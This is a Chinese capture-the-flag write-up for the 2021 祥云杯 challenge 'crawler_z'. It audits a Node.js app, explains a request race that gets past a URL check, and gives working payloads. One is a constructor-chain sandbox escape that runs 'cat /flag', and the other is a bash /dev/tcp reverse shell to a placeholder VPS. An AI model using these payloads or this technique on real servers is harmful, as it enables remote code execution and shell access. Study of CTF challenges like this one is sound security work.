2021祥云杯-cralwer_z


2021祥云杯-cralwer_z

知识点概要:js代码审计

首页

随便注册个用户登录进去(笔者此处注册admin),在Profile页面可以更新个人信息

有源码,源码结构:

源码分析

源码中的findByPK()findOne()是Sequelize API,效果可以类比数据库查询

具体参考:https://sequelize.org/docs/v6/core-concepts/model-querying-finders/

首先server.js规定了用户路由从/user开始

/routes/index.js是常规的首页注册、登录、登出功能

/routes/user.js有几个关键路由

/user/profile路由,分为三部分

1.要求传入参数affiliation、age、bucket不为空且是字符串,其中checkBucket()要求bucket协议是http:https:,且url包含oss-cn-beijing.ichunqiu.com字符串(代码在第二张图);

2.把传入的affiliation、age、bucket参数值更新到数据库(bucket赋值给personalBucket),并生成一个token;

3.正则匹配bucket,若符合正则,则用上一步生成的token跳转访问/user/verify路由,反之则返回提示;

/user/verify路由

验证token,验证成功则更新数据库中用户的bucket(personalBucket赋值给bucket)

/user/bucket路由

这里的正则跟/user/profile的正则是一样的,但是可以看到,此处else有一个对用户bucket的请求,肯定是利用点,要想利用bucket,那就要清楚bucket怎么控制,bucket传递路线如下

/user/profile传入bucket参数→数据库赋值给personalBucket→/user/verify再把personalBucket赋值给bucket

相当于在数据库兜了一圈,想请求bucket,就必须经过/user/verify,那么/user/profile的正则就必须匹配成功,那么/user/bucket的正则也会同步匹配成功,那么就没法请求bucket。

所以明确目标:让/user/profile正则匹配成功,同时/user/bucket正则匹配失败,最终的bucket还要是我们自己的URL

此时看/user/profile,可以发现,它的逻辑是先更新bucket,再正则匹配,然后再重定向到/user/verify

且checkBucket()没有正则那么严格,只检查协议和oss-cn-beijing.ichunqiu.com字符串

那么我们可以发送两次数据包,第一次传正常的bucket,重定向之前,第二次传伪造的bucket,格式如下,然后让第一个请求继续重定向,再访问/user/bucket路由,即可进到else,从而对伪造的bucket发起请求

http%3A%2F%2Fxx.xx.xx.xx/index.html?oss-cn-beijing.ichunqiu.com%2F

xx.xx.xx.xx是自己的vps,上述操作之前先在vps建一个index.html,代码如下,然后开启http服务

<script>
    a=this.constructor.constructor.constructor.constructor('return process')();
    b=a.mainModule.require('child_process');
    c=b.execSync('cat /flag').toString();
    document.write(c);
</script>

实际操作

先在vps建一个index.html,然后开启http服务

题目正常注册,登录,然后抓取/user/profile的数据包,发送到Repeater两份,第一份正常发送

第二份修改bucket后发送,响应包也可看到绕过/user/profile正则的提示

然后回到第一份,点击左上角Send那一行的Follow Redirection,成功更新bucket

URL访问/user/bucket,获取flag

也可反弹shell,若用这个,可用screen命令在vps开两个窗口,一个开启http服务,一个监听反弹shell端口

<script>
c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/xx.xx.xx.xx/9898 0>&1'],);console.log(ls.output.toString());")()
</script>

回头看,问题在于checkBucket()不够严格,只检查协议和oss-cn-beijing.ichunqiu.com字符串

避免漏洞的思路:/user/profile中checkBucket()用正则的逻辑;或者先正则匹配,再更新bucket

参考

https://blog.csdn.net/RABCDXB/article/details/124189883

https://blog.csdn.net/cjdgg/article/details/120147572


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录